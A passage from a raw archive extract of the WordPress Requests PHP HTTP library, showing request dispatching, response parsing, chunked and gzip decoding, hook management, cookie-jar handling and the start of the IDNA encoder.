	public static function post($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::POST, $options);
	}
	/**
	 * Send a PUT request
	 */
	public static function put($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PUT, $options);
	}

	/**
	 * Send an OPTIONS request
	 */
	public static function options($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::OPTIONS, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public static function patch($url, $headers, $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * The `$options` parameter takes an associative array with the following
	 * options:
	 *
	 * - `timeout`: How long should we wait for a response?
	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
	 *    operates at second-resolution only.
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `connect_timeout`: How long should we wait while trying to connect?
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `useragent`: Useragent to send to the server
	 *    (string, default: php-requests/$version)
	 * - `follow_redirects`: Should we follow 3xx redirects?
	 *    (boolean, default: true)
	 * - `redirects`: How many times should we redirect before erroring?
	 *    (integer, default: 10)
	 * - `blocking`: Should we block processing on this request?
	 *    (boolean, default: true)
	 * - `filename`: File to stream the body to instead.
	 *    (string|boolean, default: false)
	 * - `auth`: Authentication handler or array of user/password details to use
	 *    for Basic authentication
	 *    (\WpOrg\Requests\Auth|array|boolean, default: false)
	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
	 *    (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
	 * - `max_bytes`: Limit for the response body size.
	 *    (integer|boolean, default: false)
	 * - `idn`: Enable IDN parsing
	 *    (boolean, default: true)
	 * - `transport`: Custom transport. Either a class name, or a
	 *    transport object. Defaults to the first working transport from
	 *    {@see \WpOrg\Requests\Requests::getTransport()}
	 *    (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
	 * - `hooks`: Hooks handler.
	 *    (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
	 *    certificate file as a string. (Using true uses the system-wide root
	 *    certificate store instead, but this may have different behaviour
	 *    across transports.)
	 *    (string|boolean, default: certificates/cacert.pem)
	 * - `verifyname`: Should we verify the common name in the SSL certificate?
	 *    (boolean, default: true)
	 * - `data_format`: How should we send the `$data` parameter?
	 *    (string, one of 'query' or 'body', default: 'query' for
	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see description for more information)
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_string($type) === false) {
			throw InvalidArgument::create(4, '$type', 'string', gettype($type));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(5, '$options', 'array', gettype($options));
		}

		if (empty($options['type'])) {
			$options['type'] = $type;
		}

		$options = array_merge(self::get_default_options(), $options);

		self::set_defaults($url, $headers, $data, $type, $options);

		$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$need_ssl     = (stripos($url, 'https://') === 0);
			$capabilities = [Capability::SSL => $need_ssl];
			$transport    = self::get_transport($capabilities);
		}

		$response = $transport->request($url, $headers, $data, $options);

		$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);

		return self::parse_response($response, $url, $headers, $data, $options);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * The `$requests` parameter takes an associative or indexed array of
	 * request fields. The key of each request can be used to match up the
	 * request with the returned data, or with the request passed into your
	 * `multiple.request.complete` callback.
	 *
	 * The request fields value is an associative array with the following keys:
	 *
	 * - `url`: Request URL Same as the `$url` parameter to
	 *    {@see \WpOrg\Requests\Requests::request()}
	 *    (string, required)
	 * - `headers`: Associative array of header fields. Same as the `$headers`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array, default: `array()`)
	 * - `data`: Associative array of data fields or a string. Same as the
	 *    `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array|string, default: `array()`)
	 * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (string, default: `\WpOrg\Requests\Requests::GET`)
	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
	 *    (array|\WpOrg\Requests\Cookie\Jar)
	 *
	 * If the `$options` parameter is specified, individual requests will
	 * inherit options from it. This can be used to use a single hooking system,
	 * or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
	 *
	 * In addition, the `$options` parameter takes the following global options:
	 *
	 * - `complete`: A callback for when a request is complete. Takes two
	 *    parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
	 *    ID from the request array (Note: this can also be overridden on a
	 *    per-request basis, although that's a little silly)
	 *    (callback)
	 *
	 * @param array $requests Requests data (see description for more information)
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public static function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$options = array_merge(self::get_default_options(true), $options);

		if (!empty($options['hooks'])) {
			$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
			if (!empty($options['complete'])) {
				$options['hooks']->register('multiple.request.complete', $options['complete']);
			}
		}

		foreach ($requests as $id => &$request) {
			if (!isset($request['headers'])) {
				$request['headers'] = [];
			}

			if (!isset($request['data'])) {
				$request['data'] = [];
			}

			if (!isset($request['type'])) {
				$request['type'] = self::GET;
			}

			if (!isset($request['options'])) {
				$request['options']         = $options;
				$request['options']['type'] = $request['type'];
			} else {
				if (empty($request['options']['type'])) {
					$request['options']['type'] = $request['type'];
				}

				$request['options'] = array_merge($options, $request['options']);
			}

			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);

			// Ensure we only hook in once
			if ($request['options']['hooks'] !== $options['hooks']) {
				$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
				if (!empty($request['options']['complete'])) {
					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
				}
			}
		}

		unset($request);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$transport = self::get_transport();
		}

		$responses = $transport->request_multiple($requests, $options);

		foreach ($responses as $id => &$response) {
			// If our hook got messed with somehow, ensure we end up with the
			// correct response
			if (is_string($response)) {
				$request = $requests[$id];
				self::parse_multiple($response, $request);
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
			}
		}

		return $responses;
	}

	/**
	 * Get the default options
	 *
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 * @param boolean $multirequest Is this a multirequest?
	 * @return array Default option values
	 */
	protected static function get_default_options($multirequest = false) {
		$defaults           = static::OPTION_DEFAULTS;
		$defaults['verify'] = self::$certificate_path;

		if ($multirequest !== false) {
			$defaults['complete'] = null;
		}

		return $defaults;
	}

	/**
	 * Get default certificate path.
	 *
	 * @return string Default certificate path.
	 */
	public static function get_certificate_path() {
		return self::$certificate_path;
	}

	/**
	 * Set default certificate path.
	 *
	 * @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
	 */
	public static function set_certificate_path($path) {
		if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
			throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
		}

		self::$certificate_path = $path;
	}

	/**
	 * Set the default values
	 *
	 * The $options parameter is updated with the results.
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type
	 * @param array $options Options for the request
	 * @return void
	 *
	 * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
	 */
	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
			throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
		}

		if (empty($options['hooks'])) {
			$options['hooks'] = new Hooks();
		}

		if (is_array($options['auth'])) {
			$options['auth'] = new Basic($options['auth']);
		}

		if ($options['auth'] !== false) {
			$options['auth']->register($options['hooks']);
		}

		if (is_string($options['proxy']) || is_array($options['proxy'])) {
			$options['proxy'] = new Http($options['proxy']);
		}

		if ($options['proxy'] !== false) {
			$options['proxy']->register($options['hooks']);
		}

		if (is_array($options['cookies'])) {
			$options['cookies'] = new Jar($options['cookies']);
		} elseif (empty($options['cookies'])) {
			$options['cookies'] = new Jar();
		}

		if ($options['cookies'] !== false) {
			$options['cookies']->register($options['hooks']);
		}

		if ($options['idn'] !== false) {
			$iri       = new Iri($url);
			$iri->host = IdnaEncoder::encode($iri->ihost);
			$url       = $iri->uri;
		}

		// Massage the type to ensure we support it.
		$type = strtoupper($type);

		if (!isset($options['data_format'])) {
			if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
				$options['data_format'] = 'query';
			} else {
				$options['data_format'] = 'body';
			}
		}
	}

	/**
	 * HTTP response parser
	 *
	 * @param string $headers Full response text including headers and body
	 * @param string $url Original request URL
	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
	 */
	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
		$return = new Response();
		if (!$options['blocking']) {
			return $return;
		}

		$return->raw  = $headers;
		$return->url  = (string) $url;
		$return->body = '';

		if (!$options['filename']) {
			$pos = strpos($headers, "\r\n\r\n");
			if ($pos === false) {
				// Crap!
				throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
			}

			$headers = substr($return->raw, 0, $pos);
			// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
			$body = substr($return->raw, $pos + 4);
			if (!empty($body)) {
				$return->body = $body;
			}
		}

		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
		$headers = str_replace("\r\n", "\n", $headers);
		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
		$headers = explode("\n", $headers);
		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
		if (empty($matches)) {
			throw new Exception('Response could not be parsed', 'noversion', $headers);
		}

		$return->protocol_version = (float) $matches[1];
		$return->status_code      = (int) $matches[2];
		if ($return->status_code >= 200 && $return->status_code < 300) {
			$return->success = true;
		}

		foreach ($headers as $header) {
			list($key, $value) = explode(':', $header, 2);
			$value             = trim($value);
			preg_replace('#(\s+)#i', ' ', $value);
			$return->headers[$key] = $value;
		}

		if (isset($return->headers['transfer-encoding'])) {
			$return->body = self::decode_chunked($return->body);
			unset($return->headers['transfer-encoding']);
		}

		if (isset($return->headers['content-encoding'])) {
			$return->body = self::decompress($return->body);
		}

		//fsockopen and cURL compatibility
		if (isset($return->headers['connection'])) {
			unset($return->headers['connection']);
		}

		$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);

		if ($return->is_redirect() && $options['follow_redirects'] === true) {
			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
				if ($return->status_code === 303) {
					$options['type'] = self::GET;
				}

				$options['redirected']++;
				$location = $return->headers['location'];
				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
					// relative redirect, for compatibility make it absolute
					$location = Iri::absolutize($url, $location);
					$location = $location->uri;
				}

				$hook_args = [
					&$location,
					&$req_headers,
					&$req_data,
					&$options,
					$return,
				];
				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
				$redirected            = self::request($location, $req_headers, $req_data, $options['type'], $options);
				$redirected->history[] = $return;
				return $redirected;
			} elseif ($options['redirected'] >= $options['redirects']) {
				throw new Exception('Too many redirects', 'toomanyredirects', $return);
			}
		}

		$return->redirects = $options['redirected'];

		$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
		return $return;
	}

	/**
	 * Callback for `transport.internal.parse_response`
	 *
	 * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
	 * while still executing a multiple request.
	 *
	 * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
	 *
	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
	 * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
	 * @return void
	 */
	public static function parse_multiple(&$response, $request) {
		try {
			$url      = $request['url'];
			$headers  = $request['headers'];
			$data     = $request['data'];
			$options  = $request['options'];
			$response = self::parse_response($response, $url, $headers, $data, $options);
		} catch (Exception $e) {
			$response = $e;
		}
	}

	/**
	 * Decoded a chunked body as per RFC 2616
	 *
	 * @link https://tools.ietf.org/html/rfc2616#section-3.6.1
	 * @param string $data Chunked body
	 * @return string Decoded body
	 */
	protected static function decode_chunked($data) {
		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
			return $data;
		}

		$decoded = '';
		$encoded = $data;

		while (true) {
			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
			if (!$is_chunked) {
				// Looks like it's not chunked after all
				return $data;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0) {
				// Ignore trailer headers
				return $decoded;
			}

			$chunk_length = strlen($matches[0]);
			$decoded     .= substr($encoded, $chunk_length, $length);
			$encoded      = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded)) {
				return $decoded;
			}
		}

		// We'll never actually get down here
		// @codeCoverageIgnoreStart
	}
	// @codeCoverageIgnoreEnd

	/**
	 * Convert a key => value array to a 'key: value' array for headers
	 *
	 * @param iterable $dictionary Dictionary of header values
	 * @return array List of headers
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
	 */
	public static function flatten($dictionary) {
		if (InputValidator::is_iterable($dictionary) === false) {
			throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
		}

		$return = [];
		foreach ($dictionary as $key => $value) {
			$return[] = sprintf('%s: %s', $key, $value);
		}

		return $return;
	}

	/**
	 * Decompress an encoded body
	 *
	 * Implements gzip, compress and deflate. Guesses which it is by attempting
	 * to decode.
	 *
	 * @param string $data Compressed data in one of the above formats
	 * @return string Decompressed string
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function decompress($data) {
		if (is_string($data) === false) {
			throw InvalidArgument::create(1, '$data', 'string', gettype($data));
		}

		if (trim($data) === '') {
			// Empty body does not need further processing.
			return $data;
		}

		$marker = substr($data, 0, 2);
		if (!isset(self::$magic_compression_headers[$marker])) {
			// Not actually compressed. Probably cURL ruining this for us.
			return $data;
		}

		if (function_exists('gzdecode')) {
			$decoded = @gzdecode($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		if (function_exists('gzinflate')) {
			$decoded = @gzinflate($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		$decoded = self::compatible_gzinflate($data);
		if ($decoded !== false) {
			return $decoded;
		}

		if (function_exists('gzuncompress')) {
			$decoded = @gzuncompress($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		return $data;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 1.6.0
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/gzinflate#70875
	 * @link https://www.php.net/gzinflate#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|bool False on failure.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function compatible_gzinflate($gz_data) {
		if (is_string($gz_data) === false) {
			throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
		}

		if (trim($gz_data) === '') {
			return false;
		}

		// Compressed data might contain a full zlib header, if so strip it for
		// gzinflate()
		if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
			$i   = 10;
			$flg = ord(substr($gz_data, 3, 1));
			if ($flg > 0) {
				if ($flg & 4) {
					list($xlen) = unpack('v', substr($gz_data, $i, 2));
					$i         += 2 + $xlen;
				}

				if ($flg & 8) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 16) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 2) {
					$i += 2;
				}
			}

			$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		// If the data is Huffman Encoded, we must first strip the leading 2
		// byte Huffman marker for gzinflate()
		// The response is Huffman coded by many compressors such as
		// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
		// System.IO.Compression.DeflateStream.
		//
		// See https://decompres.blogspot.com/ for a quick explanation of this
		// data type
		$huffman_encoded = false;

		// low nibble of first byte should be 0x08
		list(, $first_nibble) = unpack('h', $gz_data);

		// First 2 bytes should be divisible by 0x1F
		list(, $first_two_bytes) = unpack('n', $gz_data);

		if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
			$huffman_encoded = true;
		}

		if ($huffman_encoded) {
			$decompressed = @gzinflate(substr($gz_data, 2));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
			// ZIP file format header
			// Offset 6: 2 bytes, General-purpose field
			// Offset 26: 2 bytes, filename length
			// Offset 28: 2 bytes, optional field length
			// Offset 30: Filename field, followed by optional field, followed
			// immediately by data
			list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));

			// If the file has been compressed on the fly, 0x08 bit is set of
			// the general purpose field. We can use this to differentiate
			// between a compressed document, and a ZIP file
			$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);

			if (!$zip_compressed_on_the_fly) {
				// Don't attempt to decode a compressed zip file
				return $gz_data;
			}

			// Determine the first byte of data, based on the above ZIP header
			// offsets:
			$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
			$decompressed     = @gzinflate(substr($gz_data, 30 + $first_file_start));
			if ($decompressed !== false) {
				return $decompressed;
			}

			return false;
		}

		// Finally fall back to straight gzinflate
		$decompressed = @gzinflate($gz_data);
		if ($decompressed !== false) {
			return $decompressed;
		}

		// Fallback for all above failing, not expected, but included for
		// debugging and preventing regressions and to track stats
		$decompressed = @gzinflate(substr($gz_data, 2));
		if ($decompressed !== false) {
			return $decompressed;
		}

		return false;
	}
}
Hooks.php000064400000005730152223033010006334 0ustar00<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */
class Hooks implements HookManager {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = [];

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
	 */
	public function register($hook, $callback, $priority = 0) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		if (is_callable($callback) === false) {
			throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
		}

		if (InputValidator::is_numeric_array_key($priority) === false) {
			throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
		}

		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = [
				$priority => [],
			];
		} elseif (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = [];
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
	 */
	public function dispatch($hook, $parameters = []) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
		if (is_array($parameters) === false) {
			throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
		}

		if (empty($this->hooks[$hook])) {
			return false;
		}

		if (!empty($parameters)) {
			// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
			$parameters = array_values($parameters);
		}

		ksort($this->hooks[$hook]);

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				$callback(...$parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
Cookie/Jar.php000064400000010413152223033010007170 0ustar00<?php
/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests\Cookie;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Cookie;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response;

/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */
class Jar implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $cookies = [];

	/**
	 * Create a new jar
	 *
	 * @param array $cookies Existing cookie values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array.
	 */
	public function __construct($cookies = []) {
		if (is_array($cookies) === false) {
			throw InvalidArgument::create(1, '$cookies', 'array', gettype($cookies));
		}

		$this->cookies = $cookies;
	}

	/**
	 * Normalise cookie data into a \WpOrg\Requests\Cookie
	 *
	 * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
	 * @param string                        $key    Optional. The name for this cookie.
	 * @return \WpOrg\Requests\Cookie
	 */
	public function normalize_cookie($cookie, $key = '') {
		if ($cookie instanceof Cookie) {
			return $cookie;
		}

		return Cookie::parse($cookie, $key);
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		return isset($this->cookies[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if offsetExists is false)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (!isset($this->cookies[$offset])) {
			return null;
		}

		return $this->cookies[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$this->cookies[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		unset($this->cookies[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->cookies);
	}

	/**
	 * Register the cookie handler with the request's hooking system
	 *
	 * @param \WpOrg\Requests\HookManager $hooks Hooking system
	 */
	public function register(HookManager $hooks) {
		$hooks->register('requests.before_request', [$this, 'before_request']);
		$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
	}

	/**
	 * Add Cookie header to a request if we have any
	 *
	 * As per RFC 6265, cookies are separated by '; '
	 *
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param string $type
	 * @param array $options
	 */
	public function before_request($url, &$headers, &$data, &$type, &$options) {
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		if (!empty($this->cookies)) {
			$cookies = [];
			foreach ($this->cookies as $key => $cookie) {
				$cookie = $this->normalize_cookie($cookie, $key);

				// Skip expired cookies
				if ($cookie->is_expired()) {
					continue;
				}

				if ($cookie->domain_matches($url->host)) {
					$cookies[] = $cookie->format_for_header();
				}
			}

			$headers['Cookie'] = implode('; ', $cookies);
		}
	}

	/**
	 * Parse all cookies from a response and attach them to the response
	 *
	 * @param \WpOrg\Requests\Response $response Response as received.
	 */
	public function before_redirect_check(Response $response) {
		$url = $response->url;
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		$cookies           = Cookie::parse_from_headers($response->headers, $url);
		$this->cookies     = array_merge($this->cookies, $cookies);
		$response->cookies = $this;
	}
}
Cookie/.htaccess000064400000000000152223033010007530 0ustar00Capability.php000064400000001214152223033010007323 0ustar00<?php
/**
 * Capability interface declaring the known capabilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

/**
 * Capability interface declaring the known capabilities.
 *
 * This is used as the authoritative source for which capabilities can be queried.
 *
 * @package Requests\Utilities
 */
interface Capability {

	/**
	 * Support for SSL.
	 *
	 * @var string
	 */
	const SSL = 'ssl';

	/**
	 * Collection of all capabilities supported in Requests.
	 *
	 * Note: this does not automatically mean that the capability will be supported for your chosen transport!
	 *
	 * @var string[]
	 */
	const ALL = [
		self::SSL,
	];
}
IdnaEncoder.php000064400000030223152223033010007417 0ustar00<?php

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IDNA URL encoder
 *
 * Note: Not fully compliant, as nameprep does nothing yet.
 *
 * @package Requests\Utilities
 *
 * @link https://tools.ietf.org/html/rfc3490 IDNA specification
 * @link https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
 */
class IdnaEncoder {
	/**
	 * ACE prefix used for IDNA
	 *
	 * @link https://tools.ietf.org/html/rfc3490#section-5
	 * @var string
	 */
	const ACE_PREFIX = 'xn--';

	/**
	 * Maximum length of a IDNA URL in ASCII.
	 *
	 * @see \WpOrg\Requests\IdnaEncoder::to_ascii()
	 *
	 * @since 2.0.0
	 *
	 * @var int
	 */
	const MAX_LENGTH = 64;

	/**#@+
	 * Bootstrap constant for Punycode
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 * @var int
	 */
	const BOOTSTRAP_BASE         = 36;
	const BOOTSTRAP_TMIN         = 1;
	const BOOTSTRAP_TMAX         = 26;
	const BOOTSTRAP_SKEW         = 38;
	const BOOTSTRAP_DAMP         = 700;
